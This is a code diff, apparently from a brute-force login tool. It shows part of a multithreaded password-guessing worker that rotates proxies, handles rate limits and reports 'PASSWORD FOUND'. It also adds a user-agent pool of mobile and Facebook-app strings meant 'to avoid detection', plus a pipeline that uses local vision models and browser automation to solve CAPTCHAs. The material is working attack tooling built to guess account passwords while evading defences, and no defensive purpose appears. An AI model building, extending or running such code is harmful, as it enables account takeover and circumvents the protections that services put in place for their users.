if self.stats.elapsed_seconds > 0 else 0
|
||||||
|
)
|
||||||
|
if result.success:
|
||||||
|
self.stats.successful_attempts += 1
|
||||||
|
else:
|
||||||
|
self.stats.failed_attempts += 1
|
||||||
|
if "rate limit" in result.message.lower():
|
||||||
|
self.stats.rate_limited += 1
|
||||||
|
if "proxy" in result.message.lower():
|
||||||
|
self.stats.proxy_errors += 1
|
||||||
|
|
||||||
|
# ── Log attempt ────────────────────────────────────────
|
||||||
|
parsed = urlparse(current_proxy)
|
||||||
|
self.logger.log_attempt(
|
||||||
|
password=password,
|
||||||
|
proxy_ip=parsed.hostname or current_proxy,
|
||||||
|
proxy_port=parsed.port or 0,
|
||||||
|
proxy_protocol=parsed.scheme or "http",
|
||||||
|
status_code=result.status_code,
|
||||||
|
result="SUCCESS" if result.success else "FAILED",
|
||||||
|
response_time_ms=result.response_time_ms,
|
||||||
|
message=result.message,
|
||||||
|
)
|
||||||
|
|
||||||
|
# ── GUI callbacks ──────────────────────────────────────
|
||||||
|
if self.on_stats_update:
|
||||||
|
self.on_stats_update(self.stats)
|
||||||
|
if self.on_log_entry:
|
||||||
|
self.on_log_entry({
|
||||||
|
"password": password,
|
||||||
|
"proxy": current_proxy,
|
||||||
|
"result": "SUCCESS" if result.success else "FAILED",
|
||||||
|
"message": result.message,
|
||||||
|
"time_ms": result.response_time_ms,
|
||||||
|
})
|
||||||
|
|
||||||
|
if result.success:
|
||||||
|
logger.info(f"*** PASSWORD FOUND: {password} ***")
|
||||||
|
if self.on_success:
|
||||||
|
self.on_success(password, current_proxy, result)
|
||||||
|
self.state = AttackState.COMPLETED
|
||||||
|
if self.on_state_change:
|
||||||
|
self.on_state_change(self.state)
|
||||||
|
break
|
||||||
|
|
||||||
|
if self._release_proxy_after_attempt(current_proxy, result):
|
||||||
|
current_proxy = None
|
||||||
|
|
||||||
|
time.sleep(random.uniform(self.delay_min, self.delay_max))
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"[W{worker_id}] Worker error: {e}", exc_info=True)
|
||||||
|
finally:
|
||||||
|
with self._lock:
|
||||||
|
self._workers_active -= 1
|
||||||
|
if self._workers_active == 0 and self.state == AttackState.RUNNING:
|
||||||
|
self.state = AttackState.COMPLETED
|
||||||
|
if self.on_state_change:
|
||||||
|
self.on_state_change(self.state)
|
||||||
|
|
||||||
|
def _get_next_password(self) -> Optional[str]:
|
||||||
|
with self._lock:
|
||||||
|
if self._password_index >= len(self.passwords):
|
||||||
|
return None
|
||||||
|
pwd = self.passwords[self._password_index]
|
||||||
|
self._password_index += 1
|
||||||
|
return pwd
|
||||||
|
|
||||||
|
def _release_proxy_after_attempt(self, proxy: Optional[str], result: LoginResult) -> bool:
|
||||||
|
"""Recycle healthy one-shot proxies and drop clearly failing proxies."""
|
||||||
|
if not proxy:
|
||||||
|
return False
|
||||||
|
|
||||||
|
message = result.message.lower()
|
||||||
|
proxy_failed = any(
|
||||||
|
marker in message
|
||||||
|
for marker in ("proxy", "connection timeout", "connection error")
|
||||||
|
)
|
||||||
|
if proxy_failed:
|
||||||
|
self.proxy_pool.mark_dead(proxy)
|
||||||
|
return True
|
||||||
|
|
||||||
|
if "rate limit" in message:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if self.proxy_rotation_every <= 1:
|
||||||
|
self.proxy_pool.return_proxy(proxy)
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
# ── Properties ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
@property
|
||||||
|
def progress(self) -> float:
|
||||||
|
if not self.passwords:
|
||||||
|
return 0.0
|
||||||
|
return (self._password_index / len(self.passwords)) * 100
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
return self.state == AttackState.RUNNING
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_paused(self) -> bool:
|
||||||
|
return self.state == AttackState.PAUSED
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_stopped(self) -> bool:
|
||||||
|
return self.state in (AttackState.STOPPED, AttackState.COMPLETED, AttackState.IDLE)
|
||||||
69
src/attack/user_agents.py
Normal file
69
src/attack/user_agents.py
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
"""
|
||||||
|
User-Agent rotation pool — realistic mobile browser strings to avoid detection.
|
||||||
|
"""
|
||||||
|
import random
|
||||||
|
|
||||||
|
MOBILE_USER_AGENTS = [
|
||||||
|
# Chrome on Android
|
||||||
|
"Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 14; Samsung Galaxy S24 Ultra) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 13; OnePlus 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 13; Xiaomi 13 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 14; Google Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 12; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 13; motorola edge 30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
|
||||||
|
|
||||||
|
# Samsung Internet
|
||||||
|
"Mozilla/5.0 (Linux; Android 14; SAMSUNG SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/120.0.6099.230 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/119.0.6045.163 Mobile Safari/537.36",
|
||||||
|
|
||||||
|
# Firefox on Android
|
||||||
|
"Mozilla/5.0 (Android 14; Mobile; rv:121.0) Gecko/121.0 Firefox/121.0",
|
||||||
|
"Mozilla/5.0 (Android 13; Mobile; rv:120.0) Gecko/120.0 Firefox/120.0",
|
||||||
|
"Mozilla/5.0 (Android 12; Mobile; rv:119.0) Gecko/119.0 Firefox/119.0",
|
||||||
|
|
||||||
|
# iPhone Safari
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
|
||||||
|
|
||||||
|
# Chrome on iPhone
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1",
|
||||||
|
|
||||||
|
# Facebook in-app browser (Android)
|
||||||
|
"Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.230 Mobile Safari/537.36 [FB_IAB/FB4A]",
|
||||||
|
"Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.163 Mobile Safari/537.36 [FB_IAB/FB4A]",
|
||||||
|
"Mozilla/5.0 (Linux; Android 14; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.230 Mobile Safari/537.36 [FB_IAB/FB4A]",
|
||||||
|
|
||||||
|
# Facebook in-app browser (iPhone)
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/440.0.0.33.103;FBBV/567234567;FBDV/iPhone15,2;FBMD/iPhone;FBSN/iOS;FBSV/17.2;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/439.0.0.30.102;FBBV/564123456;FBDV/iPhone14,3;FBMD/iPhone;FBSN/iOS;FBSV/17.1;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]",
|
||||||
|
]
|
||||||
|
|
||||||
|
DESKTOP_USER_AGENTS = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1; rv:121.0) Gecko/20100101 Firefox/121.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def get_random_mobile_ua() -> str:
|
||||||
|
"""Get a random mobile User-Agent string."""
|
||||||
|
return random.choice(MOBILE_USER_AGENTS)
|
||||||
|
|
||||||
|
|
||||||
|
def get_random_desktop_ua() -> str:
|
||||||
|
"""Get a random desktop User-Agent string."""
|
||||||
|
return random.choice(DESKTOP_USER_AGENTS)
|
||||||
|
|
||||||
|
|
||||||
|
def get_random_facebook_ua() -> str:
|
||||||
|
"""Get a User-Agent that looks like it's coming from the Facebook app."""
|
||||||
|
fb_agents = [ua for ua in MOBILE_USER_AGENTS if "FBAN" in ua or "FB_IAB" in ua]
|
||||||
|
if fb_agents:
|
||||||
|
return random.choice(fb_agents)
|
||||||
|
return get_random_mobile_ua()
|
||||||
8
src/captcha/__init__.py
Normal file
8
src/captcha/__init__.py
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
"""
|
||||||
|
CAPTCHA Solving Pipeline — vision-guided browser automation system.
|
||||||
|
Uses local Ollama vision models to interpret CAPTCHA challenges and
|
||||||
|
automates browser interaction to solve them.
|
||||||
|
|
||||||
|
Pipeline:
|
||||||
|
Browser/App → Screenshot → Ollama VLM → Coordinate Mapping → Mouse Automation → Verify → Loop
|
||||||
|
"""
|
||||||
133
src/captcha/browser_controller.py
Normal file
133
src/captcha/browser_controller.py
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
"""
|
||||||
|
Browser automation controller for CAPTCHA solving workflows.
|
||||||
|
|
||||||
|
Supports Playwright and Selenium when installed; otherwise operates in manual mode.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from typing import Any, Optional, Tuple
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class BrowserConfig:
|
||||||
|
engine: str = "Playwright"
|
||||||
|
headless: bool = False
|
||||||
|
viewport: Tuple[int, int] = (1280, 720)
|
||||||
|
mouse_delay_ms: int = 50
|
||||||
|
retry_limit: int = 3
|
||||||
|
|
||||||
|
|
||||||
|
class BrowserController:
|
||||||
|
"""Launches and controls a browser session for CAPTCHA automation."""
|
||||||
|
|
||||||
|
def __init__(self, config: Optional[BrowserConfig] = None):
|
||||||
|
self.config = config or BrowserConfig()
|
||||||
|
self._driver: Any = None
|
||||||
|
self._playwright: Any = None
|
||||||
|
self._browser: Any = None
|
||||||
|
self._page: Any = None
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
return self._driver is not None or self._page is not None
|
||||||
|
|
||||||
|
@property
|
||||||
|
def active_driver(self) -> Any:
|
||||||
|
"""Return the active Playwright page or Selenium WebDriver."""
|
||||||
|
return self._page or self._driver
|
||||||
|
|
||||||
|
def launch(self, url: Optional[str] = None) -> bool:
|
||||||
|
engine = (self.config.engine or "None (Manual)").lower()
|
||||||
|
|
||||||
|
if "playwright" in engine:
|
||||||
|
return self._launch_playwright(url)
|
||||||
|
if "selenium" in engine:
|
||||||
|
return self._launch_selenium(url)
|
||||||
|
|
||||||
|
logger.info("Browser automation disabled — manual mode")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _launch_playwright(self, url: Optional[str]) -> bool:
|
||||||
|
try:
|
||||||
|
from playwright.sync_api import sync_playwright
|
||||||
|
except ImportError:
|
||||||
|
logger.warning("Playwright not installed. Install with: pip install playwright")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._playwright = sync_playwright().start()
|
||||||
|
self._browser = self._playwright.chromium.launch(headless=self.config.headless)
|
||||||
|
context = self._browser.new_context(
|
||||||
|
viewport={
|
||||||
|
"width": self.config.viewport[0],
|
||||||
|
"height": self.config.viewport[1],
|
||||||
|
}
|
||||||
|
)
|
||||||
|
self._page = context.new_page()
|
||||||
|
if url:
|
||||||
|
self._page.goto(url, wait_until="domcontentloaded")
|
||||||
|
logger.info("Playwright browser launched")
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Failed to launch Playwright: {e}")
|
||||||
|
self.close()
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _launch_selenium(self, url: Optional[str]) -> bool:
|
||||||
|
try:
|
||||||
|
from selenium import webdriver
|
||||||
|
from selenium.webdriver.chrome.options import Options
|
||||||
|
except ImportError:
|
||||||
|
logger.warning("Selenium not installed. Install with: pip install selenium")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
options = Options()
|
||||||
|
if self.config.headless:
|
||||||
|
options.add_argument("--headless=new")
|
||||||
|
options.add_argument(
|
||||||
|
f"--window-size={self.config.viewport[0]},{self.config.viewport[1]}"
|
||||||
|
)
|
||||||
|
self._driver = webdriver.Chrome(options=options)
|
||||||
|
if url:
|
||||||
|
self._driver.get(url)
|
||||||
|
logger.info("Selenium browser launched")
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Failed to launch Selenium: {e}")
|
||||||
|
self.close()
|
||||||
|
return False
|
||||||
|
|
||||||
|
def navigate(self, url: str) -> bool:
|
||||||
|
driver = self.active_driver
|
||||||
|
if not driver:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
if self._page is not None:
|
||||||
|
self._page.goto(url, wait_until="domcontentloaded")
|
||||||
|
else:
|
||||||
|
driver.get(url)
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Navigation failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
try:
|
||||||
|
if self._page is not None:
|
||||||
|
self._page.close()
|
||||||
|
if self._browser is not None:
|
||||||
|
self._browser.close()
|
||||||
|
if self._playwright is not None:
|
||||||
|
self._playwright.stop()
|
||||||
|
if self._driver is not None:
|
||||||
|
self._driver.quit()
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"Browser shutdown warning: {e}")
|
||||||
|
finally:
|
||||||
|
self._driver = None
|
||||||
|
self._page = None
|
||||||
|
self._browser = None
|
||||||
|
self._playwright = None
|
||||||
306
src/captcha/captcha_solver.py
Normal file
306
src/captcha/captcha_solver.py
Normal file
@@ -0,0 +1,306 @@
|
|||||||
|
"""
|
||||||
|
CAPTCHA solver — sends a screenshot to a local Ollama model and returns
|
||||||
|
a plain-text answer (the text/characters to type or tiles to click).
|
||||||
|
|
||||||
|
Designed for DeepSeek-VL2 / LLaVA / minicpm-v and similar vision models.
|
||||||
|
"""
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
from io import BytesIO
|
||||||
|
from typing import List, Optional, Tuple
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
from config import DEFAULT_OLLAMA_CONFIG, OLLAMA_CONFIG_FILE
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
_CONFIG_PATH = OLLAMA_CONFIG_FILE
|
||||||
|
_OLLAMA_DEFAULT = "http://localhost:11434"
|
||||||
|
|
||||||
|
|
||||||
|
def _write_default_config() -> dict:
|
||||||
|
_CONFIG_PATH.write_text(
|
||||||
|
json.dumps(DEFAULT_OLLAMA_CONFIG, indent=2),
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
return DEFAULT_OLLAMA_CONFIG.copy()
|
||||||
|
|
||||||
|
|
||||||
|
def _load_config() -> dict:
|
||||||
|
try:
|
||||||
|
if not _CONFIG_PATH.exists():
|
||||||
|
return _write_default_config()
|
||||||
|
cfg = json.loads(_CONFIG_PATH.read_text(encoding="utf-8"))
|
||||||
|
return {**DEFAULT_OLLAMA_CONFIG, **cfg}
|
||||||
|
except Exception as exc:
|
||||||
|
logger.warning(f"Could not load Ollama config from {_CONFIG_PATH}: {exc}")
|
||||||
|
return DEFAULT_OLLAMA_CONFIG.copy()
|
||||||
|
|
||||||
|
|
||||||
|
class CaptchaSolver:
|
||||||
|
"""
|
||||||
|
Sends a CAPTCHA image to an Ollama vision model and parses the answer.
|
||||||
|
|
||||||
|
Supports:
|
||||||
|
• Text/number CAPTCHAs → returns the string to type
|
||||||
|
• Grid-select CAPTCHAs → returns tile numbers to click
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
host: Optional[str] = None,
|
||||||
|
model: Optional[str] = None,
|
||||||
|
timeout: int = 120,
|
||||||
|
):
|
||||||
|
cfg = _load_config()
|
||||||
|
self.host = (host or cfg.get("ollama_host", _OLLAMA_DEFAULT)).rstrip("/")
|
||||||
|
self.model = model or cfg.get("model", "")
|
||||||
|
self.timeout = timeout
|
||||||
|
self.temperature = float(cfg.get("temperature", 0.05))
|
||||||
|
self.top_p = float(cfg.get("top_p", 0.9))
|
||||||
|
self.max_tokens = int(cfg.get("max_tokens", cfg.get("num_predict", 256)))
|
||||||
|
self.prompt_template = (cfg.get("prompt_template") or "").strip()
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update({"Content-Type": "application/json"})
|
||||||
|
|
||||||
|
def reload_config(self):
|
||||||
|
"""Re-read config_ollama.json (call after user saves settings)."""
|
||||||
|
cfg = _load_config()
|
||||||
|
self.host = cfg.get("ollama_host", _OLLAMA_DEFAULT).rstrip("/")
|
||||||
|
self.model = cfg.get("model", "")
|
||||||
|
self.temperature = float(cfg.get("temperature", 0.05))
|
||||||
|
self.top_p = float(cfg.get("top_p", 0.9))
|
||||||
|
self.max_tokens = int(cfg.get("max_tokens", cfg.get("num_predict", 256)))
|
||||||
|
self.prompt_template = (cfg.get("prompt_template") or "").strip()
|
||||||
|
|
||||||
|
def is_available(self) -> bool:
|
||||||
|
try:
|
||||||
|
r = self.session.get(f"{self.host}/api/tags", timeout=3)
|
||||||
|
return r.status_code == 200
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def list_models(self) -> List[str]:
|
||||||
|
try:
|
||||||
|
r = self.session.get(f"{self.host}/api/tags", timeout=5)
|
||||||
|
if r.status_code == 200:
|
||||||
|
return [m["name"] for m in r.json().get("models", [])]
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return []
|
||||||
|
|
||||||
|
# ── Main entry point ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _model_family(self) -> str:
|
||||||
|
"""Return the Ollama model family string (e.g. 'deepseekocr', 'llava')."""
|
||||||
|
try:
|
||||||
|
r = self.session.get(f"{self.host}/api/tags", timeout=5)
|
||||||
|
if r.status_code == 200:
|
||||||
|
for m in r.json().get("models", []):
|
||||||
|
if m.get("name") == self.model:
|
||||||
|
return m.get("details", {}).get("family", "").lower()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def solve(
|
||||||
|
self,
|
||||||
|
image_bytes: bytes,
|
||||||
|
prompt: Optional[str] = None,
|
||||||
|
) -> Tuple[bool, str]:
|
||||||
|
"""
|
||||||
|
Solve a CAPTCHA from raw image bytes.
|
||||||
|
|
||||||
|
Tries /api/chat first (required by deepseek-ocr and newer models),
|
||||||
|
then falls back to /api/generate for older vision models (llava, etc.).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
(success: bool, answer: str)
|
||||||
|
answer is either the text to type OR comma-separated tile numbers.
|
||||||
|
"""
|
||||||
|
if not self.model:
|
||||||
|
return False, "No model configured — set one in the Setup tab"
|
||||||
|
|
||||||
|
b64 = base64.b64encode(image_bytes).decode("utf-8")
|
||||||
|
prompt = prompt or self.prompt_template or self._default_prompt()
|
||||||
|
options = {
|
||||||
|
"temperature": self.temperature,
|
||||||
|
"num_predict": self.max_tokens,
|
||||||
|
"top_p": self.top_p,
|
||||||
|
}
|
||||||
|
|
||||||
|
# ── Try /api/chat (works for deepseek-ocr, llava, minicpm-v, etc.) ──
|
||||||
|
try:
|
||||||
|
chat_payload = {
|
||||||
|
"model": self.model,
|
||||||
|
"messages": [
|
||||||
|
{
|
||||||
|
"role": "user",
|
||||||
|
"content": prompt,
|
||||||
|
"images": [b64],
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"stream": False,
|
||||||
|
"options": options,
|
||||||
|
}
|
||||||
|
resp = self.session.post(
|
||||||
|
f"{self.host}/api/chat",
|
||||||
|
json=chat_payload,
|
||||||
|
timeout=self.timeout,
|
||||||
|
)
|
||||||
|
if resp.status_code == 200:
|
||||||
|
raw = resp.json().get("message", {}).get("content", "").strip()
|
||||||
|
if raw:
|
||||||
|
answer = self._parse_answer(raw)
|
||||||
|
logger.debug(f"CAPTCHA (chat) raw='{raw[:80]}' parsed='{answer}'")
|
||||||
|
return bool(answer), answer
|
||||||
|
# empty content — fall through to generate endpoint
|
||||||
|
logger.debug("CAPTCHA /api/chat returned empty content, trying /api/generate")
|
||||||
|
except requests.Timeout:
|
||||||
|
return False, f"Ollama timed out ({self.timeout}s) — model may be loading"
|
||||||
|
except requests.ConnectionError:
|
||||||
|
return False, f"Cannot reach Ollama at {self.host}"
|
||||||
|
except Exception as e:
|
||||||
|
logger.debug(f"/api/chat failed ({e}), trying /api/generate")
|
||||||
|
|
||||||
|
# ── Fallback: /api/generate (legacy llava / bakllava style) ──────────
|
||||||
|
try:
|
||||||
|
gen_payload = {
|
||||||
|
"model": self.model,
|
||||||
|
"prompt": prompt,
|
||||||
|
"images": [b64],
|
||||||
|
"stream": False,
|
||||||
|
"options": options,
|
||||||
|
}
|
||||||
|
resp = self.session.post(
|
||||||
|
f"{self.host}/api/generate",
|
||||||
|
json=gen_payload,
|
||||||
|
timeout=self.timeout,
|
||||||
|
)
|
||||||
|
if resp.status_code != 200:
|
||||||
|
return False, f"Ollama error HTTP {resp.status_code}: {resp.text[:120]}"
|
||||||
|
|
||||||
|
raw = resp.json().get("response", "").strip()
|
||||||
|
if not raw:
|
||||||
|
return False, "Model returned empty response — check model supports vision"
|
||||||
|
answer = self._parse_answer(raw)
|
||||||
|
logger.debug(f"CAPTCHA (generate) raw='{raw[:80]}' parsed='{answer}'")
|
||||||
|
return bool(answer), answer
|
||||||
|
|
||||||
|
except requests.Timeout:
|
||||||
|
return False, f"Ollama timed out ({self.timeout}s)"
|
||||||
|
except requests.ConnectionError:
|
||||||
|
return False, f"Cannot reach Ollama at {self.host}"
|
||||||
|
except Exception as e:
|
||||||
|
return False, f"Solver error: {e}"
|
||||||
|
|
||||||
|
def solve_from_pil(self, image, prompt: Optional[str] = None) -> Tuple[bool, str]:
|
||||||
|
"""Convenience: accept a PIL Image object."""
|
||||||
|
buf = BytesIO()
|
||||||
|
image.save(buf, format="PNG")
|
||||||
|
return self.solve(buf.getvalue(), prompt)
|
||||||
|
|
||||||
|
def test_text_generation(self, prompt: str = "Reply with exactly: OK - Model is working") -> Tuple[bool, str]:
|
||||||
|
"""Run a simple text-only generation through the same solver config."""
|
||||||
|
if not self.model:
|
||||||
|
return False, "No model configured — set one in the Setup tab"
|
||||||
|
|
||||||
|
payload = {
|
||||||
|
"model": self.model,
|
||||||
|
"prompt": prompt,
|
||||||
|
"stream": False,
|
||||||
|
"options": {
|
||||||
|
"temperature": self.temperature,
|
||||||
|
"num_predict": self.max_tokens,
|
||||||
|
"top_p": self.top_p,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
resp = self.session.post(
|
||||||
|
f"{self.host}/api/generate",
|
||||||
|
json=payload,
|
||||||
|
timeout=self.timeout,
|
||||||
|
)
|
||||||
|
if resp.status_code != 200:
|
||||||
|
return False, f"Ollama error HTTP {resp.status_code}: {resp.text[:120]}"
|
||||||
|
response = resp.json().get("response", "").strip()
|
||||||
|
return bool(response), response or "Model returned empty response"
|
||||||
|
except requests.Timeout:
|
||||||
|
return False, f"Ollama timed out ({self.timeout}s)"
|
||||||
|
except requests.ConnectionError:
|
||||||
|
return False, f"Cannot reach Ollama at {self.host}"
|
||||||
|
except Exception as e:
|
||||||
|
return False, f"Solver test error: {e}"
|
||||||
|
|
||||||
|
# ── Helpers ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _default_prompt(self) -> str:
|
||||||
|
"""
|
||||||
|
Return the best prompt for the configured model.
|
||||||
|
|
||||||
|
deepseek-ocr (and other pure OCR models) work best with a single short
|
||||||
|
instruction — long verbose prompts cause them to return empty output.
|
||||||
|
General vision models (llava, minicpm-v, etc.) benefit from more detail.
|
||||||
|
"""
|
||||||
|
model_lower = (self.model or "").lower()
|
||||||
|
# Pure OCR models — keep it minimal
|
||||||
|
if any(x in model_lower for x in ("deepseek-ocr", "ocr", "tesseract")):
|
||||||
|
return "Read the text in this image."
|
||||||
|
# General vision / chat models — can handle richer instructions
|
||||||
|
return (
|
||||||
|
"You are a CAPTCHA solver. Look at the image.\n"
|
||||||
|
"If it shows distorted text/numbers, reply with ONLY those characters (e.g. XK9P2).\n"
|
||||||
|
"If it is a grid CAPTCHA, reply with ONLY the comma-separated tile numbers (e.g. 2,5,7).\n"
|
||||||
|
"Reply with the answer only — no explanation."
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _parse_answer(raw: str) -> str:
|
||||||
|
"""
|
||||||
|
Extract the useful CAPTCHA answer from the model's raw response.
|
||||||
|
|
||||||
|
Handles:
|
||||||
|
- Tile selection: "2,5,7" or "tiles: 2, 5, 7"
|
||||||
|
- Text CAPTCHA: "BX7K2" or "BX7 K2" or "The answer is BX7K2"
|
||||||
|
"""
|
||||||
|
if not raw:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
# Strip markdown code fences
|
||||||
|
raw = re.sub(r"```[^`]*```", "", raw, flags=re.DOTALL).strip()
|
||||||
|
|
||||||
|
# Work with just the first line (model sometimes explains after)
|
||||||
|
first_line = raw.split("\n")[0].strip()
|
||||||
|
|
||||||
|
# ── Determine mode: tile selection vs text CAPTCHA ───────────────────
|
||||||
|
# Remove common filler words that appear in tile responses
|
||||||
|
filler_removed = re.sub(
|
||||||
|
r"\b(tiles?|click|select|choose|numbers?|and|the|are|:)\b",
|
||||||
|
" ", first_line, flags=re.IGNORECASE
|
||||||
|
).strip()
|
||||||
|
letter_count = len(re.findall(r"[A-Za-z]", filler_removed))
|
||||||
|
digit_count = len(re.findall(r"\d", filler_removed))
|
||||||
|
|
||||||
|
# Tile mode: after removing filler words, mostly digits remain
|
||||||
|
if digit_count >= 2 and letter_count == 0:
|
||||||
|
nums = re.findall(r"\d+", first_line)
|
||||||
|
return ",".join(nums)
|
||||||
|
|
||||||
|
# ── Text/alphanumeric CAPTCHA ─────────────────────────────────────────
|
||||||
|
# Strip spaces — OCR models sometimes insert spaces between characters
|
||||||
|
compact = re.sub(r"\s+", "", first_line)
|
||||||
|
if re.fullmatch(r"[A-Za-z0-9]{2,12}", compact):
|
||||||
|
return compact.upper()
|
||||||
|
|
||||||
|
# Verbose response: extract the final alphanumeric token
|
||||||
|
# e.g. "The answer is BX7K2" or "CAPTCHA text: ABC123"
|
||||||
|
tokens = re.findall(r"[A-Za-z0-9]{3,12}", first_line)
|
||||||
|
if tokens:
|
||||||
|
return tokens[-1].upper()
|
||||||
|
|
||||||
|
# Fallback: first line trimmed
|
||||||
|
return first_line[:64]
|
||||||
271
src/captcha/coord_mapper.py
Normal file
271
src/captcha/coord_mapper.py
Normal file
@@ -0,0 +1,271 @@
|
|||||||
|
"""
|
||||||
|
Coordinate mapping system — converts image-based positions from vision model
|
||||||
|
